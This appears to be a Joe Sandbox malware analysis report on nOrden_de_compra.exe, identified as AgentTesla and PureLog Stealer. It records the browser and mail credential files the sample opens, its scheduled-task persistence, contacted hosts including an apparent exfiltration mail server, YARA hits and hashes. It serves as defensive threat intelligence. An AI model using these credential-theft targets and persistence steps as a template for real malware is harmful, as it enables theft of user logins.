Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3fb4308.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3a78c38.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3f77ae8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3ab5458.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3ab5458.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3a78c38.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4531607343.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4531554199.0000000002901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nOrden_de_compra.exe PID: 5724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nOrden_de_compra.exe PID: 1460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nNdsLvHyWi.exe PID: 6640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nNdsLvHyWi.exe PID: 1176, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3fb4308.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3a78c38.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3f77ae8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3ab5458.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3ab5458.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3a78c38.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4531607343.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4531554199.0000000002901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nOrden_de_compra.exe PID: 5724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nOrden_de_compra.exe PID: 1460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nNdsLvHyWi.exe PID: 6640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nNdsLvHyWi.exe PID: 1176, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.nOrden_de_compra.exe.71a0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.71a0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.2cde9dc.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3ca9970.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.7160000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.27de9e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.27de9e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.2cde9dc.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3ca9970.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.7160000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2116574097.00000000071A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2116474951.0000000007160000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2146832318.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114084999.0000000003CA8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2113140924.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Software Packing	NTDS	211 Security Software Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nOrden_de_compra.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.FormBook
nOrden_de_compra.exe	43%	Virustotal		Browse
nOrden_de_compra.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.FormBook
C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	43%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
triorentacar.ro	0%	Virustotal		Browse
mail.triorentacar.ro	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.m	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://mail.triorentacar.ro	0%	Virustotal		Browse
http://www.microsoft.8	0%	Avira URL Cloud	safe
http://mail.triorentacar.ro	0%	Avira URL Cloud	safe
http://triorentacar.ro	0%	Avira URL Cloud	safe
http://triorentacar.ro	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api4.ipify.org	173.231.16.76	true	false		high
triorentacar.ro	89.32.46.159	true	false	0%, Virustotal, Browse	unknown
api.ipify.org	unknown	unknown	false		high
mail.triorentacar.ro	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	nOrden_de_compra.exe, 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000028B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.m	nOrden_de_compra.exe, 0000000A.00000002.4543063904.00000000068E2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.8	nNdsLvHyWi.exe, 0000000F.00000002.4542926780.0000000005E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://mail.triorentacar.ro	nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4543063904.0000000006927000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4527441718.00000000011D5000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	nOrden_de_compra.exe, 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000028B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	nOrden_de_compra.exe, 00000000.00000002.2113140924.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000B.00000002.2146832318.00000000027FF000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000028B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://triorentacar.ro	nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
89.32.46.159	triorentacar.ro	Romania		34358	WEBCLASSITRO	false
173.231.16.76	api4.ipify.org	United States		18450	WEBNXUS	false

General Information

Joe Sandbox version:	39.0.0 Ruby
Analysis ID:	1385592
Start date and time:	2024-02-02 14:03:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nOrden_de_compra.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/15@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 223 Number of non-executed functions: 16
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:03:57	API Interceptor	8896667x Sleep call for process: nOrden_de_compra.exe modified
14:03:58	API Interceptor	26x Sleep call for process: powershell.exe modified
14:03:59	Task Scheduler	Run new task: nNdsLvHyWi path: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
14:04:01	API Interceptor	7418522x Sleep call for process: nNdsLvHyWi.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
89.32.46.159	Project_Offer_2024.exe	Get hash	malicious	AgentTesla	Browse
89.32.46.159	ndHq.exe	Get hash	malicious	AgentTesla	Browse
173.231.16.76	InstallSetup1.exe	Get hash	malicious	Stealc	Browse	api.ipify.org/?format=dwd
	mhddos_proxy_win.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=text
	Hhwsbefq.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	4cGFnkiRf2.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Help.File@zohomail.eu_Fast.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	DHLINV1708023_-_1301512300.exe	Get hash	malicious	MassLogger RAT, zgRAT	Browse	api.ipify.org/
	Ross.dec1966@gmail.com_Fast.bin.exe	Get hash	malicious	Babuk, Chaos, Conti, RegretLocker, TrojanRansom	Browse	api.ipify.org/
	Imdouqb.bat	Get hash	malicious	Unknown	Browse	api.ipify.org/
	XP5wlJGjng.exe	Get hash	malicious	Typhon Logger	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api4.ipify.org	INVOICE.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.237.62.212
	sZ3v675Idu.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	173.231.16.76
	0001.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SecuriteInfo.com.Win32.CrypterX-gen.18920.7401.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SecuriteInfo.com.Trojan.MulDropNET.68.14731.14018.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	173.231.16.76
	SOA.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SecuriteInfo.com.FileRepMalware.4794.21088.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	173.231.16.76
	OOLU4051770254.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SecuriteInfo.com.Win32.RATX-gen.28393.22981.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SOA_87437924_Payment______________________________PDF.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WEBNXUS	INVOICE.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.237.62.212
	sZ3v675Idu.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	173.231.16.76
	0001.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SecuriteInfo.com.Win32.CrypterX-gen.18920.7401.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SecuriteInfo.com.Trojan.MulDropNET.68.14731.14018.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	173.231.16.76
	SOA.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SecuriteInfo.com.FileRepMalware.4794.21088.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	173.231.16.76
	OOLU4051770254.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SecuriteInfo.com.Win32.RATX-gen.28393.22981.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	64.185.227.156
	SOA_87437924_Payment______________________________PDF.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
WEBCLASSITRO	Project_Offer_2024.exe	Get hash	malicious	AgentTesla	Browse	89.32.46.159
	ndHq.exe	Get hash	malicious	AgentTesla	Browse	89.32.46.159
	arm7-20240101-1250.elf	Get hash	malicious	Mirai	Browse	37.251.157.173
	MS Document.html	Get hash	malicious	Phisher	Browse	37.251.137.194
	3m37SZRkdC.elf	Get hash	malicious	Mirai	Browse	37.251.157.145
	meerkat.x86.elf	Get hash	malicious	Mirai	Browse	37.251.157.141
	1x9SsU5xOL.elf	Get hash	malicious	Mirai	Browse	37.251.157.133
	73IQC7zT52.elf	Get hash	malicious	Mirai, Moobot	Browse	37.251.157.188
	scYHPiyZLt.elf	Get hash	malicious	Mirai	Browse	37.251.175.20
	QQlbAyRysQ.elf	Get hash	malicious	Mirai	Browse	37.251.175.25

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	http://scsksa.com	Get hash	malicious	Unknown	Browse	173.231.16.76
	INVOICE.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	173.231.16.76
	SecuriteInfo.com.Trojan.DownloaderNET.74.18381.3316.exe	Get hash	malicious	Unknown	Browse	173.231.16.76
	SecuriteInfo.com.Trojan.DownloaderNET.74.18381.3316.exe	Get hash	malicious	Unknown	Browse	173.231.16.76
	http://www.infobellit.com	Get hash	malicious	Unknown	Browse	173.231.16.76
	sZ3v675Idu.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	173.231.16.76
	Document.pdf.lnk	Get hash	malicious	Unknown	Browse	173.231.16.76
	https://bmwag-rt-prod2-t.campaign.adobe.com/r/?id=h2ccc12b,8d23fb3,492093b&p1=energuapi%E3%80%82com/reesscw/cwsssw/dGhvcnN0ZW4uc2NobmVpZGV3aW5kQG9yaW9uLmNo#	Get hash	malicious	HTMLPhisher	Browse	173.231.16.76
	0001.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	173.231.16.76
	Cqqjbi.exe	Get hash	malicious	Unknown	Browse	173.231.16.76

Process:	C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	5.352427679901606
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPE4KMRuAE4KzecKIE4oKNzKorE4x84j:MIHK5HKH1qHiYHKh3oPHKMRuAHKzectP
MD5:	3978978DE913FD1C068312697D6E5917
SHA1:	1DABBE7FB8F38F6EBF474CE5F0ECAA89F48E2538
SHA-256:	33B7B1668DDD3AB39711F9F93B667F6F2F674348A79228BFA163BA625B37F120
SHA-512:	78694B97F5D03758F503155E5CE5B85AABDF9690F0DFBC51FCE9926BE2D86BCF99E008659420F1E8489A7F6EA125F2776D4C6DC4B151566B529454512352953D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll"

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\nOrden_de_compra.exe.log

Download File

Process:	C:\Users\user\Desktop\nOrden_de_compra.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	5.352427679901606
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPE4KMRuAE4KzecKIE4oKNzKorE4x84j:MIHK5HKH1qHiYHKh3oPHKMRuAHKzectP
MD5:	3978978DE913FD1C068312697D6E5917
SHA1:	1DABBE7FB8F38F6EBF474CE5F0ECAA89F48E2538
SHA-256:	33B7B1668DDD3AB39711F9F93B667F6F2F674348A79228BFA163BA625B37F120
SHA-512:	78694B97F5D03758F503155E5CE5B85AABDF9690F0DFBC51FCE9926BE2D86BCF99E008659420F1E8489A7F6EA125F2776D4C6DC4B151566B529454512352953D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll"

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380805901110357
Encrypted:	false
SSDEEP:	48:lylWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//ZeUyus:lGLHyIFKL3IZ2KRH9OugIs
MD5:	E522B2005C3F8CEE121092726F0796D1
SHA1:	B3ABC6E4DEDB76609E5F101ED018B4A5C7C45404
SHA-256:	905C2721C090CBDA71FD37A5CACD974C87171364DD5ACBC8C3D7D58FE1D58CB5
SHA-512:	95BA8FB518A3067855DB06037CBB1DAF3CED0AAABD84716CF77EB4BD89F08870C3D3D7507FD6159A427AACC76BDF5ABB38B5607EEF92514CB38DBE3710F419AE
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

